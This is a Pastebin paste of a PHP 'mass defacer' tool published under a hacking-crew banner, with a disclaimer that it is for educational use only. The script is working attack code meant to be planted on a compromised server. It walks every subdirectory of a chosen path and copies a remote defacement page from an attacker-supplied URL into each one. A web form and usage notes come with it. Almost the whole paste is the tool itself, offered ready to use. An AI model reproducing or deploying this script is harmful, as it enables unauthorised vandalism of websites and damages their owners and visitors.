Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- __ __ _ _ _ ___
- \ \/ /_ __ | | ___ (_) |_ ___ _ __ ___ / __\ __ _____ __
- \ /| '_ \| |/ _ \| | __/ _ \ '__/ __| / / | '__/ _ \ \ /\ / /
- / \| |_) | | (_) | | || __/ | \__ \ / /__| | | __/\ V V /
- /_/\_\ .__/|_|\___/|_|\__\___|_| |___/ \____/_| \___| \_/\_/
- |_|
- Linux Server Mass Defacer
- <?php
- /*
- Script: Mass Deface Script
- This script is for Research/Educational/Academic purposes only,
- The Author of this script takes no responsibility for the way
- you use this script, you are responsible for your own actions.
- */
- echo "<center><textarea rows='10' cols='100'>";
- $defaceurl = $_POST['massdefaceurl'];
- $dir = $_POST['massdefacedir'];
- echo $dir."\n";
- if (is_dir($dir)) {
- if ($dh = opendir($dir)) {
- while (($file = readdir($dh)) !== false) {
- if(filetype($dir.$file)=="dir"){
- $newfile=$dir.$file."/indexx.php";
- echo $newfile."\n";
- if (!copy($defaceurl, $newfile)) {
- echo "failed to copy $file...\n";
- }
- }
- }
- closedir($dh);
- }
- }
- echo "</textarea></center>";
- ?>
- <td align=right>Mass Defacement:</td><br>
- <form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
- [+] Main Directory: <input type='text' style='width: 250px' value='<?php echo getcwd() . "/"; ?>' name='massdefacedir'>
- [+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'>
- <input type='submit' name='execmassdeface' value='Execute'></form></td>
- <br><br><br>
- ** Main Directory = The Directory you want to mass deface (Must have read/write permission) **<br>
- ** Defacement Url = URL of your deface page (e.g: http://yoursite.com/deface.html ) **<br><br>
- </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement